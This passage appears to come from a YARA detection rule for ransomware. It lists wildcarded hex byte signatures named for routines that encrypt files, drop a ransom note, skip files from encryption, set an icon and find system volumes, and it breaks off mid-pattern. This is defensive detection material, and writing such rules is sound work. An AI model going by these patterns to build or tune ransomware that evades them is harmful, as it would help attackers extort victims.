$encrypt_files_v4 = { - 8D 45 ?? 50 E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 11 45 ?? 0F 10 45 ?? 0F 11 45 ?? 8B 45 ?? - 8B 4D ?? 89 45 ?? 89 4D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? - 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 56 57 8D 45 ?? 50 8D 45 ?? 50 83 EC ?? 8B - F4 89 A5 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 6A ?? 56 8D 4D - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 57 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 - ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? EB ?? 8D 85 - ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8D 0C 4D ?? ?? ?? ?? 89 8D ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B - 50 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 66 89 85 ?? ?? FF FF C6 - 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 - } - $drop_ransom_note_v1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 03 00 00 A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 - 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 - BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A - ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 - BD ?? ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? - 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? - 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 - 5D C3 - } - $exclude_from_encryption_v1 = { - 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D - ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 - ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B - F0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? - 8D 4D ?? E8 ?? ?? ?? ?? 83 FE ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? 83 FE ?? 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D - } - $exclude_from_encryption_v2_p1 = { - 50 C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? - ?? ?? C6 45 ?? ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 - 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? - E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 - } - $exclude_from_encryption_v2_p2 = { - 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FE ?? 74 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 8D 4D - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 84 C0 0F 44 CA 8D 45 ?? 50 E8 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 80 BD ?? ?? ?? - ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 - } - $encrypt_files_v5_p1 = { - 50 F2 0F 11 45 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 8D 45 ?? 50 56 FF 15 ?? ?? - ?? ?? 85 C0 75 ?? 56 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? - 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 6A ?? FF 10 C7 45 ?? ?? ?? ?? ?? 8D 4B ?? E8 ?? - ?? ?? ?? 8B 4D ?? 5F 64 89 0D ?? ?? ?? ?? 5E 8B E5 5D 8B E3 5B C2 ?? ?? 8B 7D ?? 83 - C1 ?? 8B 35 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 8B 7D ?? - 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 03 C1 C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? - E8 ?? ?? ?? ?? 6A ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 89 45 ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 89 45 ?? C6 45 ?? ?? B9 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 6A ?? - FF 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? FF 75 ?? 83 - } - $encrypt_files_v5_p2 = { - C0 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 0F 8F ?? ?? ?? ?? 7C ?? 81 FF ?? ?? - ?? ?? 0F 83 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? F2 0F 11 45 ?? 0F 57 C0 66 0F 13 45 - ?? 8B 4D ?? 8B 55 ?? 89 4D ?? 8B CF 89 55 ?? 2B 4D ?? 6A ?? 6A ?? 1B C2 50 51 E8 ?? - ?? ?? ?? F2 0F 10 45 ?? 8B CA F2 0F 59 05 ?? ?? ?? ?? 89 4D ?? 8B C8 89 45 ?? F2 0F - 11 45 ?? E8 ?? ?? ?? ?? F2 0F 59 45 ?? E8 ?? ?? ?? ?? 8B C8 0B CA 0F 85 ?? ?? ?? ?? - 39 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? - 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 85 - C0 0F 8C ?? ?? ?? ?? 7F ?? 81 FF ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F2 0F 11 45 ?? 50 - E8 ?? ?? ?? ?? C6 45 ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 56 C6 45 ?? ?? 8B 4D - ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 D2 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 50 FF 75 ?? - FF 75 ?? E8 ?? ?? ?? ?? 8B C8 89 45 ?? 0B CA 89 55 ?? 75 ?? 8D 85 ?? ?? ?? ?? 89 45 - ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 FF 75 ?? 57 - 6A ?? 6A ?? 56 C6 45 ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 0F 57 - C0 66 0F 13 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B - 7D ?? 89 45 ?? 66 66 0F 1F 84 00 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B CF 0F A4 C8 ?? 6A ?? C1 E1 ?? 03 - 4D ?? 6A ?? 13 45 ?? 50 51 56 C6 45 ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D ?? 8B 45 ?? - 13 45 ?? 89 45 ?? 3B 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B 7D ?? 0F 82 - } - $encrypt_files_v6_p1 = { - E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 85 F6 0F 8F ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 03 48 ?? 8B 01 FF 50 ?? 83 7B ?? ?? 8D 43 ?? - F2 0F 10 05 ?? ?? ?? ?? 0F 43 43 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? - ?? ?? 50 F2 0F 11 45 ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 74 ?? 8D 45 ?? 50 57 FF 15 - ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 6A ?? FF 10 C6 45 ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? 8D 4B ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 64 89 0D ?? ?? ?? ?? 5E 8B E5 5D 8B E3 5B - C2 ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 8B CF 76 ?? 8B FE 2B 7D ?? 66 - 8B 04 0F 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? 2B 75 ?? D1 FE E9 ?? ?? ?? ?? 8B 7D - ?? 83 C6 ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 8B - 75 ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 - } - $encrypt_files_v6_p2 = { - 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D - ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 03 C1 C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? - 6A ?? E8 ?? ?? ?? ?? 6A ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 89 45 ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 83 C4 ?? 89 45 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? - ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? 6A ?? FF 75 ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? - FF 75 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 0F 8F ?? ?? ?? ?? 7C - } - $encrypt_files_v6_p3 = { - 81 FE ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? F2 0F 11 45 ?? 0F 57 C0 - 66 0F 13 45 ?? 8B 4D ?? 8B 55 ?? 89 4D ?? 8B CE 89 55 ?? 2B 4D ?? 6A ?? 6A ?? 1B C2 - 50 51 E8 ?? ?? ?? ?? F2 0F 10 45 ?? 8B CA F2 0F 59 05 ?? ?? ?? ?? 89 4D ?? 8B C8 89 - 45 ?? F2 0F 11 45 ?? E8 ?? ?? ?? ?? F2 0F 59 45 ?? E8 ?? ?? ?? ?? 8B C8 0B CA 0F 85 - ?? ?? ?? ?? 39 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? - ?? ?? ?? 85 C0 0F 8C ?? ?? ?? ?? 7F ?? 81 FE ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? F2 0F 10 - 05 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F2 0F - 11 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 57 C6 45 - ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 D2 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 - 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B C8 89 45 ?? 0B CA 89 55 ?? 75 ?? 8D 85 ?? ?? - ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 - FF 75 ?? 56 6A ?? 6A ?? 57 C6 45 ?? ?? 8B 4D - } - $set_default_icon_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 - 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? - ?? B0 ?? C7 45 ?? ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 98 - 66 31 44 4D ?? 41 83 F9 ?? 73 ?? 8A 45 ?? EB ?? 33 C0 56 66 89 45 ?? C6 45 ?? ?? 8D - 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 C7 45 - ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 56 50 C7 45 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 66 89 06 C7 45 ?? - ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 - } - $set_default_icon_p2 = { - 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? - 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 51 8D 4D ?? C7 45 ?? ?? - ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 33 C0 83 7D ?? ?? 6A ?? 66 89 45 ?? 8D 45 ?? 0F 43 - 45 ?? 6A ?? 6A ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 7D ?? ?? 8D 4D - ?? 8B 45 ?? 0F 43 4D ?? 03 C0 50 51 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF - 75 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF D6 6A - ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 B8 ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 89 45 - ?? C6 45 ?? ?? 8B 4D ?? 5E 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 - ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? - ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 8B E5 5D C3 - } - $find_system_volumes = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 81 EC ?? ?? - ?? ?? 53 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? C7 06 ?? ?? ?? ?? - C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F8 66 90 - 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 D2 C7 45 ?? ?? ?? ?? ?? 66 89 55 ?? - 83 C4 ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 0C 00 C7 45 ?? ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 03 C1 C7 45 ?? ?? ?? ?? ?? 3B D0 74 ?? D1 F9 8B C2 - 51 50 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 46 ?? 3B 46 ?? 74 ?? - 6A ?? 51 50 C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 